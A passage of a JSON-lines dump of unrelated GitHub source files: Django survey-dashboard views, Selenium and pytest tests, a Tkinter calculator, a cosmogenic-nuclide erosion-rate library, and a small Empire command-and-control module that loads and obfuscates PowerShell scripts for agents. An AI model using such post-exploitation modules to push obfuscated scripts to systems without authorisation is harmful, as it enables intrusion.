----------\r\n args: Any\r\n parameters used to initialize MultivariateNormalDiag.\r\n \r\n kwargs: Mapping[str, Any]\r\n parameters used to initialize MultivariateNormalDiag.\r\n\r\n \"\"\"\r\n super().__init__(*args, **kwargs)\r\n\r\n @classmethod\r\n def make(\r\n cls,\r\n input_dims: int,\r\n event_dims: int,\r\n name: str = 'multivariate_normal_diag',\r\n libsize_scaling: bool = False,\r\n exp_transform: bool = False):\r\n \"\"\"Make the tf.keras.Model using the functional API of Tensorflow.\r\n \r\n Parameters\r\n ----------\r\n input_dims: int\r\n input tf.Tensor dimension. By default, it should be the last\r\n dimension of the outputs from previous layer.\r\n \r\n event_dims: int\r\n number of event dimensions for the outputs distribution.\r\n \r\n name: str, optional\r\n Name for the tensorflow model. Defaults to\r\n 'multivariate_normal_diag'.\r\n\r\n libsize_scaling: bool, optional\r\n whether to perform scaling by libsize. Defaults to False.\r\n\r\n exp_transform: bool, optional\r\n whether to perform exponential transformation. This will be \r\n performed after scaling by libsize by default. Defaults to \r\n False.\r\n \r\n Returns\r\n -------\r\n tf.keras.Model\r\n Created model using Tensorflow functional API.\r\n \r\n \"\"\"\r\n return super().make(\r\n input_dims=input_dims,\r\n event_dims=event_dims,\r\n name=name,\r\n libsize_scaling=libsize_scaling,\r\n exp_transform=exp_transform)","repo_name":"dn070017/CAVACHON","sub_path":"cavachon/modules/parameterizers/MultivariateNormalDiag.py","file_name":"MultivariateNormalDiag.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16876791484","text":"from django.shortcuts import render\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom datetime import timedelta,date\n\nfrom .models import SentimentOutput, EmotionOutput, SurveyResponse, CENGGSentimentOutput, CENGGEmotionOutput\nfrom .decorators import allowed_users\n\ntoday = date.today()\nyesterday = today - timedelta(days = 1)\n\nformat_today = today.strftime('%b-%d-%y')\nformat_yesterday = yesterday.strftime('%b-%d-%y')\n\nstatic_dir_str_charts = \"../../static/base/charts/\"\nfilename_SA = static_dir_str_charts + \"SA\" + str(yesterday) + \".png\"\nfilename_ER = static_dir_str_charts + \"ERFIG\" + str(yesterday) + \".png\"\nfilename_ER_TOP = static_dir_str_charts + \"ERFIGTOP\" + str(yesterday) + \".png\"\n\n# College Overall Results\nfilename_Q1 = static_dir_str_charts + \"LS\" + str(yesterday) + \"comm.png\"\nfilename_Q2 = static_dir_str_charts + \"LS\" + str(yesterday) + \"prof.png\"\nfilename_Q3 = static_dir_str_charts + \"LS\" + str(yesterday) + \"conn.png\"\nfilename_Q4 = static_dir_str_charts + \"LS\" + str(yesterday) + \"avail.png\"\nfilename_Q5 = static_dir_str_charts + \"LS\" + str(yesterday) + \"dpa.png\"\n\n# Engineering Results\ncengg_filename_Q1 = static_dir_str_charts + \"CENGGLS\" + str(yesterday) + \"comm.png\"\ncengg_filename_Q2 = static_dir_str_charts + \"CENGGLS\" + str(yesterday) + \"prof.png\"\ncengg_filename_Q3 = static_dir_str_charts + \"CENGGLS\" + str(yesterday) + \"conn.png\"\ncengg_filename_Q4 = static_dir_str_charts + \"CENGGLS\" + str(yesterday) + \"avail.png\"\ncengg_filename_Q5 = static_dir_str_charts + \"CENGGLS\" + str(yesterday) + \"dpa.png\"\ncengg_SA = static_dir_str_charts + \"cengg_SA\" + str(yesterday) + \".png\"\ncengg_ER = static_dir_str_charts + \"cengg_ERFIG\" + str(yesterday) + \".png\"\ncengg_ER_TOP = static_dir_str_charts + \"cengg_ERFIGTOP\" + str(yesterday) + \".png\"\n\n# General Overall Results\ngeneral_filename_Q1 = static_dir_str_charts + \"LS\" + str(yesterday) + \"GENcomm.png\"\ngeneral_filename_Q2 = static_dir_str_charts + \"LS\" + str(yesterday) + \"GENprof.png\"\ngeneral_filename_Q3 = static_dir_str_charts + \"LS\" + str(yesterday) + \"GENconn.png\"\ngeneral_filename_Q4 = static_dir_str_charts + \"LS\" + str(yesterday) + \"GENavail.png\"\ngeneral_filename_Q5 = static_dir_str_charts + \"LS\" + str(yesterday) + \"GENdpa.png\"\n\n# Dashboard View\n@login_required(login_url='login')\n@allowed_users(allowed_roles=['admin','college','student'])\ndef dashboard(request):\n\n return render(request, 'dashboard.html', {'format_today': format_today,\n 'format_yesterday': format_yesterday, \n 'filename_SA': filename_SA,\n 'filename_ER': filename_ER,\n 'filename_ER_TOP': filename_ER_TOP,\n 'filename_Q1': filename_Q1,\n 'filename_Q2': filename_Q2,\n 'filename_Q3': filename_Q3,\n 'filename_Q4': filename_Q4,\n 'filename_Q5': filename_Q5,\n 'cengg_filename_Q1': cengg_filename_Q1,\n 'cengg_filename_Q2': cengg_filename_Q2,\n 'cengg_filename_Q3': cengg_filename_Q3,\n 'cengg_filename_Q4': cengg_filename_Q4,\n 'cengg_filename_Q5': cengg_filename_Q5,\n 'general_filename_Q1': general_filename_Q1,\n 'general_filename_Q2': general_filename_Q2,\n 'general_filename_Q3': general_filename_Q3,\n 'general_filename_Q4': general_filename_Q4,\n 'general_filename_Q5': general_filename_Q5,\n 'cengg_SA': cengg_SA,\n 'cengg_ER': cengg_ER,\n 'cengg_ER_TOP': cengg_ER_TOP })\n\n\n# Survey History View\n@login_required(login_url='login')\n@allowed_users(allowed_roles=['admin','college'])\ndef history(request):\n survey_list = SurveyResponse.objects.all()\n cengg_survey_list = SurveyResponse.objects.filter(collegeDepartments = 'College of Engineering (CENGG)')\n return render(request, 'survey-history.html', {'survey_list': survey_list, \n 'format_today': format_today, \n 'format_yesterday': format_yesterday,\n 'cengg_survey_list': cengg_survey_list,})\n\n# Sentiment View\n@login_required(login_url='login')\n@allowed_users(allowed_roles=['admin','college','student'])\ndef sentiment(request):\n sentiment_list = SentimentOutput.objects.all()\n cengg_sentiment_list = CENGGSentimentOutput.objects.all()\n return render(request, 'sentiment-analysis.html',{'sentiment_list': sentiment_list, \n 'format_today': format_today,\n 'format_yesterday': format_yesterday,\n 'filename_SA': filename_SA,\n 'cengg_sentiment_list': cengg_sentiment_list,\n 'cengg_SA': cengg_SA})\n\n# Emotion View\n@login_required(login_url='login')\n@allowed_users(allowed_roles=['admin','college','student'])\ndef emotion(request):\n emotion_list = EmotionOutput.objects.all()\n cengg_emotion_list = CENGGEmotionOutput.objects.all()\n return render(request, 'emotion-recognition.html', {'emotion_list': emotion_list,\n 'format_today': format_today,\n 'format_yesterday': format_yesterday,\n 'filename_ER': filename_ER,\n 'filename_ER_TOP': filename_ER_TOP,\n 'cengg_ER': cengg_ER,\n 'cengg_ER_TOP': cengg_ER_TOP,\n 'cengg_emotion_list': cengg_emotion_list})\n\n# Privacy Policy View\n@login_required(login_url='login')\n@allowed_users(allowed_roles=['admin','college','student'])\ndef privacy(request):\n return render(request, 'privacy-policy.html', {'format_today': format_today,'format_yesterday': format_yesterday })\n\n# Login Page View\ndef loginPage(request):\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('dashboard')\n\n else:\n messages.success(request,(\"Incorrect Username or Password Detected, Please try again.\"))\n return render(request, 'login.html')\n \n else:\n return render(request, 'login.html')\n\n# Logout View\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n","repo_name":"RSanchez0207/ue-analysis","sub_path":"analysis_system/base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74953375092","text":"# coding=utf-8\n__author__ = 'zhangchun@pathbook.com.cn'\n\nimport time\nfrom drivers import *\n\nclass TestCase(unit.TestCase):\n\n def setUp(self):\n self.driver = self.app(__file__)\n self.driver.login()\n\n def tearDown(self):\n self.driver.switch_to_home()\n\n def test_queryNotice1(self):\n '''\n 查询条件中输入'通知',列表中显示标题及内容包含'通知'的公告\n :return:\n '''\n above=self.driver.find_element_by_link_text(u'系统管理')\n\n self.driver.action_chains().move_to_element(above).perform()\n #鼠标悬停在系统管理上\n self.driver.find_element_by_xpath('//*[@id=\"main_menu\"]/ul/li[4]/ul/li[5]/a').click()\n self.driver.find_id('noticeInfo').send_keys(u'通知')\n self.driver.find_id('query').click()\n trs=self.driver.find_id('list').find_tags('tr')\n list_title=[]\n list_content=[]\n if len(trs)>1:\n for i in range(1,len(trs)):\n title=trs[i].find_tags('td')[1].text\n content=trs[i].find_tags('td')[2].text\n if u'通知'in title:\n list_title.append(title)\n elif u'通知'in content:\n list_content.append(content)\n time.sleep(3)\n self.assertTrue(len(list_title)>1 or len(list_content)>1)\n else:\n text=self.driver.find_class('norecords').text\n self.assertTrue(u'没有符合条件的数据'in text)\n","repo_name":"cash2one/AutoDriver","sub_path":"testcase/Autobook/op/test_op_queryNotices.py","file_name":"test_op_queryNotices.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15821563493","text":"from tkinter import *\r\na,b,z=0,0,0\r\nroot = Tk()\r\nroot.title(\"Calculator designed by krishna\")\r\nLabel(root,text=\"Enter your number here\")\r\nInput_numbers = Entry(root,width=35,borderwidth = 5,fg=\"Blue\",bg=\"#C6AEC7\")\r\nLabel(root,text=\" \").grid(column=0)\r\nInput_numbers.grid(row=0,column=1,columnspan=2)\r\nroot.geometry(\"300x350\")\r\ndef Input_add():\r\n global a,z\r\n z=1\r\n a = float(Input_numbers.get())\r\n Input_numbers.delete(0, 'end')\r\ndef Input_sub():\r\n global a,z\r\n z=2\r\n a = float(Input_numbers.get())\r\n Input_numbers.delete(0,'end')\r\ndef Input_mul():\r\n global a,z\r\n z=3\r\n a = float(Input_numbers.get())\r\n Input_numbers.delete(0,'end')\r\ndef Input_div():\r\n global a,z\r\n z=4\r\n a = float(Input_numbers.get())\r\n Input_numbers.delete(0,'end')\r\ndef Input_enter():\r\n b = int(Input_numbers.get())\r\n if z==1:\r\n sum = a+b\r\n Input_numbers.delete(0, END)\r\n Input_numbers.insert(0,sum)\r\n elif z==2:\r\n sub = a-b\r\n Input_numbers.delete(0, END)\r\n Input_numbers.insert(0,sub)\r\n elif z==3:\r\n mul = a*b\r\n Input_numbers.delete(0, END)\r\n Input_numbers.insert(0,mul)\r\n elif z==4:\r\n div = a/b\r\n Input_numbers.delete(0, END)\r\n Input_numbers.insert(0, div)\r\ndef Input_clear():\r\n Input_numbers.delete(0,END)\r\n\r\n\r\n\r\nBenter = Button(root, text=\" Enter \",command = Input_enter,bg = \"#C2DFFF\",width=20,height=3)\r\nBenter.grid(row=3,column=1,columnspan=2)\r\nBadd = Button(root, text=\" + \",command = Input_add,bg = \"#52D017\",width=15,height=5)\r\nBadd.grid(row=1,column=1)\r\nBsub = Button(root, text=\" - \",command = Input_sub,bg = \"#FFF380\",width=15,height=5)\r\nBsub.grid(row=1,column=2)\r\nBdiv = Button(root, text=\" / \",command = Input_div,bg = \"#E67451\",width=15,height=5)\r\nBdiv.grid(row=2,column=1)\r\nBmul = Button(root, text=\" * \",command = Input_mul,bg = \"#C48793\",width=15,height=5)\r\nBmul.grid(row=2,column=2)\r\nButton(root,command = Input_clear,width=20,height=3,text=\"Clear\").grid(row=4,column=1,columnspan=2)\r\nroot.mainloop()","repo_name":"reach-the-sky/Simple_Calculator_Tkinter","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18288070397","text":"# test_autocomplete.py\n\nimport sys\n\nfrom custom_urwid_classes import CommandBar\n# from commandChanVim import urwidView\nfrom terminus_browser import urwidView\nfrom autocomplete import autoComplete\n\nimport pytest\n\ntest_list = [\n ('too long command', 'too long command'),\n ('thr', 'thread'), # input len 3\n ('po', 'post'), # input len 2\n ('re', 'remove'), # 2 cmds start with re\n ('subreddit', 'sub'), # toggle check\n ('qsuaik', 'qsuaik') # gibberish\n]\n\n@pytest.mark.parametrize(\"test_input, expected\", test_list)\ndef test_CommandBar(test_input, expected):\n uvm = urwidView(True)\n cb = CommandBar(lambda: uvm._update_focus(True), uvm)\n cb.set_edit_text(test_input)\n autoComplete(cb)\n assert cb.get_edit_text() == expected\n","repo_name":"wtheisen/TerminusBrowser","sub_path":"tests/test_autocomplete.py","file_name":"test_autocomplete.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"21"} +{"seq_id":"23255908597","text":"def search(nums, target):\r\n \"\"\"\r\n :type nums: List[int]\r\n :type target: int\r\n :rtype: int\r\n \"\"\"\r\n low, high = 0, len(nums)-1\r\n while low <= high:\r\n mid = (high - low) // 2 + low\r\n num = nums[mid]\r\n if num == target:\r\n return mid\r\n elif num >= target:\r\n high = mid -1\r\n else:\r\n low = mid + 1\r\n return -1\r\n\r\n\r\nprint(search([-1,0,3,5,9,12],1))\r\n","repo_name":"JuwuPu/Leetcode","sub_path":"7 days/1st day - Binary Search.py","file_name":"1st day - Binary Search.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32362701668","text":"from __future__ import print_function\n\nfrom builtins import object\nfrom builtins import str\nfrom typing import Dict\n\nfrom empire.server.common import helpers\nfrom empire.server.common.module_models import PydanticModule\nfrom empire.server.utils import data_util\nfrom empire.server.utils.module_util import handle_error_message\n\n\nclass Module(object):\n @staticmethod\n def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = \"\"):\n \n script_path = params['ScriptPath']\n script_cmd = params['ScriptCmd']\n script = ''\n\n if script_path != '':\n try:\n f = open(script_path, 'r')\n except:\n return handle_error_message(\"[!] Could not read script source path at: \" + str(script_path))\n\n script = f.read()\n f.close()\n script += '\\n'\n\n script += \"%s\" % script_cmd\n\n if obfuscate:\n script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command)\n script = data_util.keyword_obfuscation(script)\n\n return script\n","repo_name":"ryanmrestivo/red-team","sub_path":"Command-Control-Exfiltration-&-Persistance/Empire/Empire/empire/server/modules/powershell/management/invoke_script.py","file_name":"invoke_script.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"38916526387","text":"import numpy as np\nimport pandas as pd\nfrom numbers import Number\n\nfrom copy import deepcopy\nfrom scipy import optimize\n\nimport urllib.parse\nimport urllib.request\n\n\ndef get_textline(sample:pd.Series, topo:pd.Series, shielding) -> str:\n \"\"\"\n Cast sample and topo data to textstring for the online calculator. Input\n data are validated by utils.validate_*().\n\n sample : pandas Series or dict\n > sample_data = S.data.iloc[n]\n Missing data are replaced by default values, faulty data raise ValueError.\n topo : pandas Series or dict \n 'lat', 'long', 'elevation' (and 'shielding' if shielding='topo').\n > topo_data = topotable.iloc[n]\n or:\n > summary['elevation'] = summary['elevLo']\n > topo_data = summary\n shielding : str or numeric\n 'sample', 'topo' or a numeric shielding factor. Defines whether\n shielding is taken from sample or raster data.\n \n Returns\n -------\n textline : str\n String corresponding to one location and one set of sample data (Be-10\n or Al-26).\n \n Raises\n ------\n TypeError : input data format is invalid\n ValueError : data cannot be validated\n \n \"\"\"\n \n sample = deepcopy(sample)\n topo = deepcopy(topo)\n \n from riversand.utils import validate_topo, validate_nuclide, validate_sample\n \n \"'standardization' is reset; faulty entries have no effect\"\n \n if isinstance(sample, pd.DataFrame):\n if len(sample)!=1:\n raise TypeError(\"get_textline() argument 'sample' must be length 1\")\n sample = sample.iloc[0] # recast to pd.Series\n \n if isinstance(sample, pd.Series):\n sample = sample.to_dict()\n \n if not isinstance(sample, dict):\n raise TypeError(\"get_textline() argument 'sample' must be dict or pandas Series\")\n \n if isinstance(topo, pd.DataFrame):\n if len(topo)!=1:\n raise TypeError(\"get_textline() argument 'topo' must be length 1\")\n topo = topo.iloc[0] # recast to pd.Series\n \n if isinstance(topo, pd.Series):\n topo = topo.to_dict()\n \n if not isinstance(topo, dict):\n raise TypeError(\"get_textline() argument 'topo' must be dict or pandas Series\")\n\n \n # 'standardization' is set to 07KNSTD (Be-10) or KNSTD (Al-26) \n try:\n #TODO: maybe issue a warning if incorrect standardization is defined\n sample.pop('standardization') #set to default by validate_nuclide())\n except:\n pass\n \n if shielding=='sample':\n try:\n sf = float(sample['shielding'])\n except:\n sf = np.nan\n finally:\n if np.isnan(sf):\n raise ValueError(\"Invalid shielding='sample': no shielding \"+\n \"defined in sample data\")\n if shielding=='topo':\n try:\n sf = float(topo['shielding'])\n except:\n sf = np.nan\n finally:\n if np.isnan(sf):\n raise ValueError(\"Invalid shielding='topo': no shielding \"+\n \"defined in topo data\")\n \n if isinstance(shielding, Number):\n sample['shielding'] = shielding\n shielding = 'sample'\n \n if shielding=='sample':\n try:\n out1 = validate_topo(topo)\n out2 = validate_nuclide(sample)\n out3 = validate_sample(sample, shielding=True)\n except ValueError as e:\n raise e\n \n elif shielding=='topo':\n try:\n out1 = validate_topo(topo, shielding=True)\n out2 = validate_nuclide(sample)\n out3 = validate_sample(sample)\n except ValueError as e:\n raise e\n else:\n raise ValueError(\"Invalid shielding: must be 'topo', 'sample' or numeric\")\n \n out = {**out1, **out2, **out3}\n textline = \"{} {:.5f} {:.5f} {:.3f} {} {} {} {:.5f} {:.5f} {} ; {} {} {} {} {} {} ;\".format(\n out['name'], out['lat'], out['long'], out['elevation'], out['press_flag'],\n out['thickness'], out['density'], out['shielding'], out['erate'], out['year'],\n out['name'], out['nuclide'], out['mineral'], out['N'], out['delN'], out['standardization'])\n return textline \n\n\n\ndef get_erates_from_server(\n textline:str,\n url:str=None\n ) -> (pd.DataFrame, str, dict):\n \"\"\"\n Get erosion rates in g/cm2/yr from online calculator.\n \n textline : str\n textline returned by get_textline()\n > textline = get_textline(sample, topo, shielding='sample')\n or\n > out_summary['Elevation'] = out_summary['elevLo']\n > textline = get_textline(sample, out_summary, shielding='topo')\n May also be any valid textblock of multiple samples / nuclide / erates.\n \n Returns\n -------\n dfE : pd.DataFrame\n erosion rate results; one row per sample and nuclide.\n keys are: 'name', 'nuclide', 'density',\n 'E_St', 'delE_int_St', 'delE_ext_St',\n 'E_Lm', 'delE_int_Lm', 'delE_ext_Lm',\n 'E_LSDn', 'delE_int_LSDn', 'delE_ext_LSDn' \n diagnostics : str\n \"No response from {}\".format(url)\n \"No diagnostics\" as returned by the server\n version : dict\n returned by the server.\n \n \"\"\"\n \n dfE = pd.DataFrame(columns=['name', 'nuclide', 'density',\n 'E_St', 'delE_int_St', 'delE_ext_St',\n 'E_Lm', 'delE_int_Lm', 'delE_ext_Lm',\n 'E_LSDn', 'delE_int_LSDn', 'delE_ext_LSDn'])\n version = {}\n \n from riversand import xml\n \n from riversand import params\n if url is None: url = params.url\n \n if not isinstance(textline, str):\n raise TypeError(\"get_erates_from_server() 'textline' must be string\")\n if len(textline)==0:\n raise TypeError(\"'textline' empty string\")\n \n # request erosion rate from server\n request_vars = {\"mlmfile\" : \"erosion_input_v3\",\n \"reportType\" : \"XML\",\n \"resultType\" : \"long\",\n \"summary\" : \"no\",\n \"plotFlag\" : \"no\",\n \"text_block\" : textline }\n form_data = urllib.parse.urlencode(request_vars).encode('ascii')\n try: \n result = urllib.request.urlopen(url, form_data)\n except urllib.error.URLError:\n diagnostics = \"No response from {}\".format(url)\n else: \n result_xml = result.read()\n dfE, diagnostics, version = xml.read_erates(result_xml)\n \n return dfE, diagnostics, version\n \n\ndef get_E(textline:str, url:str=None) -> dict:\n \"\"\"\n Get erosion rates in cm/yr from online calculator for a \n *single* sample and nuclide.\n\n Returns\n -------\n ret_dict : dict\n keys 'St', 'Lm', 'LSDn'; erosion rate in cm/yr\n \n Raises RuntimeError if diagnostics is anything but \"No diagnostics\". \n \n \"\"\"\n\n from riversand import params\n if url is None: url = params.url\n \n dfE = pd.DataFrame()\n ret_dict = {'St' : None, 'Lm' : None, 'LSDn' : None}\n \n # erates in g/cm2/yr\n dfE, diagnostics, version = get_erates_from_server(\n textline, url=url)\n \n if \"saturated\" in diagnostics:\n raise RuntimeError(\"get_E() : sample appears to be saturated\")\n elif \"Empty string returned from the server\" in diagnostics:\n raise RuntimeError(\"get_E() : nuclide concentration too low for calculation\")\n elif \"No response from\" in diagnostics:\n raise RuntimeError(\"get_E() : {}\".format(diagnostics))\n \n \n if len(dfE)!=1: \n raise RuntimeError(\"get_E() : invalid results, probably from invalid \"+\n \"argument 'textline'; must be a single sample and nuclide\")\n \n try:\n ret_dict = {'St' : float(dfE.loc[0,'E_St']) / float(dfE.loc[0,'density']),\n 'Lm' : float(dfE.loc[0,'E_Lm']) / float(dfE.loc[0,'density']),\n 'LSDn' : float(dfE.loc[0,'E_LSDn']) / float(dfE.loc[0,'density']),\n #'diagnostics' : diagnostics\n }\n except:\n diagnostics = \"Cannot compute E [g/cm2] from server output\"\n \n if diagnostics!=\"No diagnostics\":\n raise RuntimeError(\"get_E() : {}\".format(diagnostics))\n return ret_dict\n\n \ndef get_NofE_from_server(\n textline:str,\n url:str=None\n ) -> (pd.DataFrame, str, dict):\n \"\"\"\n Get predicted nuclide concentrations in at/g from online calculator.\n \n textline : str\n any valid textblock of multiple samples / nuclide / erates.\n \n Returns\n -------\n dfN : pd.DataFrame\n nuclide concentration results; one row per sample and nuclide.\n keys are: 'name', 'nuclide', 'E_cmyr',\n 'NpredSt', 'NpredLm', 'NpredLSDn' \n diagnostics : str\n \"No response from {}\".format(url)\n \"No diagnostics\" as returned by the server\n version : dict\n returned by the server.\n \n \"\"\"\n \n dfN = pd.DataFrame(columns = ['name', 'nuclide', 'E_cmyr',\n 'NpredSt', 'NpredLm', 'NpredLSDn'])\n version = {}\n \n from riversand import xml\n \n from riversand import params\n if url is None: url = params.url\n \n if not isinstance(textline, str):\n raise TypeError(\"get_NofE_from_server() 'textline' must be string\")\n if len(textline)==0:\n raise TypeError(\"'textline' is empty string\")\n \n # request erosion rate from server\n request_vars = {\"mlmfile\" : \"NofE_input_v3\", \"text_block\" : textline}\n form_data = urllib.parse.urlencode(request_vars).encode('ascii')\n \n try: \n result = urllib.request.urlopen(url, form_data)\n except urllib.error.URLError:\n diagnostics = \"No response from {}\".format(url)\n else: \n result_xml = result.read() # extract result\n dfN, diagnostics, version = xml.read_NofE(result_xml)\n \n return dfN, diagnostics, version\n \n \n \ndef get_NofE_FullTable(\n sample_data:pd.Series,\n topostats: pd.DataFrame,\n shielding:str,\n erates:np.ndarray,\n url:str=None\n ) -> (pd.DataFrame, str, dict):\n \"\"\"\n Get predicted nuclide concentrations for given topographic statistics\n for a single sample and a suite of erates.\n - lat, long, elevation from topostats\n - N, delN, press_flag, density, etc. from sample_data\n Sample names are auto-generated (one for each topostats entry).\n Sample thickness is 0.\n\n Parameters\n ----------\n sample_data : pd.Series or dict; single sample.\n topostats : pd.DataFrame; elevation-binned topo data.\n shielding : 'topo', 'sample' or numeric.\n erates : iterable or numeric.\n \n Returns\n ----------\n dfA : pd.DataFrame\n full table of nuclide predictions for each elevation bin and each erate\n keys are: 'name', 'nuclide', 'E_cmyr',\n 'NpredSt', 'NpredLm', 'NpredLSDn', # at/g as returned by the server\n 'St_wt', 'Lm_wt', 'LSDn_wt' # at/g weighted by topostats['wt']\n diagnostics : str\n version : dict\n returned from the server.\n \n \"\"\"\n \n from riversand import params\n if url is None: url = params.url\n \n if isinstance(erates, Number):\n erates = [erates]\n \n if len(erates)==0:\n raise TypeError(\"get_NofE_FullTable() argument 'erates' must have at least one value\")\n \n if isinstance(sample_data, pd.DataFrame) and len(sample_data)!=1:\n raise TypeError(\"get_NofE_FullTable() argument 'sample_data' must \"+\n \"be dict, pandas Series or single-row pandas Dataframe\")\n \n # if topostats is dict or pd.Series cast to DataFrame\n # set 'wt'=1.0 if not defined\n # Note the .map at the end of this function! topostats must be pd.DataFrame with column 'wt'\n if isinstance(topostats, dict):\n temp = pd.DataFrame(topostats, index=[0])\n if 'wt' not in topostats.keys():\n temp['wt'] = 1.\n topostats = temp\n \n if isinstance(topostats, pd.Series): # e.g. if a single row of topostats is passed \n temp = pd.DataFrame(data=[topostats])\n if 'wt' not in temp.keys():\n temp['wt'] = 1.\n topostats = temp\n \n # create text_block from all erates and all topotable entries\n tempS = deepcopy(sample_data)\n newline = '.'\n text_block = ''\n for e, erate in enumerate(erates):\n for i, tempT in topostats.iterrows():\n name_str = (\"B_{}_{}\".format(i,e))\n tempS['name'] = name_str\n tempS['erate'] = erate\n try:\n newline = get_textline(tempS,\n tempT, #topostats.iloc[i],\n shielding=shielding)\n except ValueError as e:\n raise ValueError(\"Cannot get valid input for the online calculator:\\n \"+\n str(e))\n text_block = text_block + newline + ' '\n \n dfA, diagnostics, version = get_NofE_from_server(text_block, url=url)\n \n # apply weighting factor 'wt' to calculate 'St', 'Lm', 'LSDn'\n if len(dfA)>0:\n # generate a column 'topo' in order to map the weights from dfT.wt to the samples\n dfA[['n', 'topo', 'erate']] = dfA['name'].str.split(\"_\", expand=True)\n dfA.drop(columns=['n', 'erate'], inplace=True)\n \n # apply weighting factor to the exposure ages and get weighted sum of exposure ages\n for x,Nx in zip(params.scalingmethods, params.XML_scalingmethods):\n # x='St', 'Nx'='NpredSt' etc:\n dfA[x] = dfA['topo'].astype(int).map(topostats['wt']) * dfA[Nx].astype(float)\n \n dfA['E_cmyr'] = dfA['E_cmyr'].apply(pd.to_numeric)\n dfA.drop(columns=['topo'], inplace=True)\n \n return dfA, diagnostics, version\n\n\ndef get_NofE(\n sample_data:pd.Series,\n topostats:pd.DataFrame,\n shielding:str,\n erates:np.ndarray,\n url:str=None\n ) -> pd.DataFrame:\n \"\"\"\n Wrapper for get_NofE_FullTable:\n Predicted nuclide concentrations for a given catchment topography\n for a single sample and a suite of erosion rates.\n \n Parameters\n ----------\n sample_data : pd.Series or dict; single sample.\n topostats : pd.DataFrame; elevation-binned topo data.\n shielding : 'topo', 'sample' or numeric.\n erates : iterable or scalar; (suite of) erosion rates in cm/yr.\n \n Returns\n ----------\n NofE : pd.DataFrame\n Predicted nuclide concentrations for each erosion rate in erates\n and each scaling method\n keys are : 'St', 'Lm', 'LSDn'\n index name is 'E_cmyr'.\n \n Raises RuntimeError if diagnostics is anything but \"No diagnostics\".\n \n \"\"\"\n\n from riversand.utils import validate_topo, validate_nuclide, validate_sample\n\n if not isinstance(topostats, pd.DataFrame):\n raise TypeError(\"get_NofE() argument 'topostats' must be pandas DataFrame\")\n\n if isinstance(sample_data, pd.DataFrame):\n if len(sample_data)==1: # recast single-line DataFrame to Series\n sample_data = sample_data.iloc[0]\n \n if not isinstance(sample_data, (pd.Series, dict)):\n raise TypeError(\"get_NofE() argument 'sample_data' must be dict, \"+\n \"pandas Series or single-row pandas Dataframe\")\n \n # validate sample_data and a line of topodata to avoid Exceptions raise by\n # get_NofE_FullTable() (ValueError \"Cannot get valid input...\")\n try:\n _ = validate_topo(topostats.iloc[0])\n except:\n raise ValueError(\"Invalid values in 'topostats' or empty table\")\n try:\n _ = validate_sample(sample_data)\n except:\n raise ValueError(\"Invalid values in 'sample_data'\")\n try:\n _ = validate_nuclide(sample_data)\n except:\n raise ValueError(\"Invalid values in 'sample_data'\")\n \n if (shielding=='topo') and ('shielding' not in topostats.keys()):\n raise ValueError(\"shielding='topo' but no shielding factor defined in 'topostats'\")\n \n if (shielding=='sample'):\n try:\n _ = validate_sample(sample_data, shielding=True)\n except:\n raise ValueError(\"shielding='sample' but no shielding factor defined in 'sample_data'\")\n \n dfA, diagnostics, version = get_NofE_FullTable(\n sample_data, topostats, shielding, erates, url=url)\n \n # saturated samples or low nuclide concentration are never an issue with NofE:\n if \"No response from\" in diagnostics:\n raise RuntimeError(\"get_NofE() : {}\".format(diagnostics))\n \n if len(dfA)==0: # not sure why this would ever happen\n raise RuntimeError(\"unexpected error in get_NofE() : empty data table\")\n \n # 'sample_name' and 'erosion_rate_cm_yr' are tags returned by the server\n if dfA.groupby('E_cmyr').count().loc[:,'name'].nunique()==1:\n # if grouping by erosion rate is done correctly each group should have the exact same number of entries\n NofE = dfA.groupby('E_cmyr').sum(numeric_only=True)\n \n else:\n # rounding errors in the erosion rates sent to the server may lead to problems\n temp = dfA['name'].str.split('_', expand=True)\n dfA['temp'] = temp[2]\n temp = dfA.groupby('temp').sum()\n tempE = dfA.groupby('temp').mean()\n temp['E_cmyr'] = tempE['E_cmyr']\n NofE = temp.set_index('E_cmyr')\n return NofE\n\n\ndef guess_erates(*args, **kwargs) -> np.ndarray:\n \"\"\"\n Generate a suite of initial erosion rates in cm/yr.\n\n One positional argument : erates = 0.5*E ... 2*E\n Two positional arguments : erates = E1 ... E2\n Positional arguments can be dict of erosion rates with keys 'St', 'Lm',\n 'LSDn' if 'scaling' is specified as keyword argument. \n 'N' defines the number of output erosion rates; defaults to N=6\n\n \"\"\"\n \n if 'N' in kwargs.keys(): N = kwargs['N']\n else: N = 6\n\n if 'scaling' in kwargs.keys(): scaling = kwargs['scaling']\n else: scaling = None\n \n from riversand import params\n \n if len(args)==2:\n E1 = args[0]\n E2 = args[1]\n \n if isinstance(E1, Number) and isinstance(E2, Number):\n pass\n elif isinstance(E1, dict) and isinstance(E2, dict):\n try:\n E1 = E1[scaling]\n E2 = E2[scaling]\n except:\n raise ValueError(\"guess_erates() invalid keyword argument \"+\n \"scaling '{}'\"\n .format(scaling))\n else:\n raise ValueError(\"guess_erates() invalid arguments\")\n \n elif len(args)==1:\n E = args[0]\n \n if isinstance(E, 